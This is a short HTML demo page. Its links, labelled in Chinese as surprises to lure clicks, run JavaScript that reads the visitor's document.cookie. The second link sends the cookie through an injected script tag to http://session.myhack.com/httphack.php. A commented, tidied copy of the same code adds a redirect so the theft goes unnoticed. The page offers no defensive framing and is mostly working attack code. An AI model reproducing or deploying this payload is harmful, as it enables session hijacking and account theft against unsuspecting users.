<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>  
		<meta name="Author" content="sunny">
		<meta name="Keywords" content="">
		<meta name="Description" content="">
	</head>
<body>
	<a href="#" onclick='javascript:alert(document.cookie);return false;'>点击我，有惊喜！</a>
	<br />
	<a href="#" onclick='javascript:var link = this; var head = document.getElementsByTagName("head")[0]; var js = document.createElement("script"); js.src = "http://session.myhack.com/httphack.php?cook="+encodeURIComponent(document.cookie); js.onload = js.onreadystatechange = function(){ if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {head.removeChild(js);  alert("over"); } }; head.appendChild(js);return false;'>点击我，有惊喜2！</a>
	
	<script type="text/javascript">
	//经过整理后的代码
	/*
	var link = this;
	var head = document.getElementsByTagName("head")[0]; 
	var js = document.createElement("script"); 
	js.src = "http://session.myhack.com/httphack.php?cook="+encodeURIComponent(document.cookie); 
	js.onload = js.onreadystatechange = function(){ 
		if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") { 
			head.removeChild(js); 
			alert('开始跳转真正的地址');location.href=link.getAttribute("href");
		}
	}; 
	head.appendChild(js); 
	*/
</script>
</body>

</html>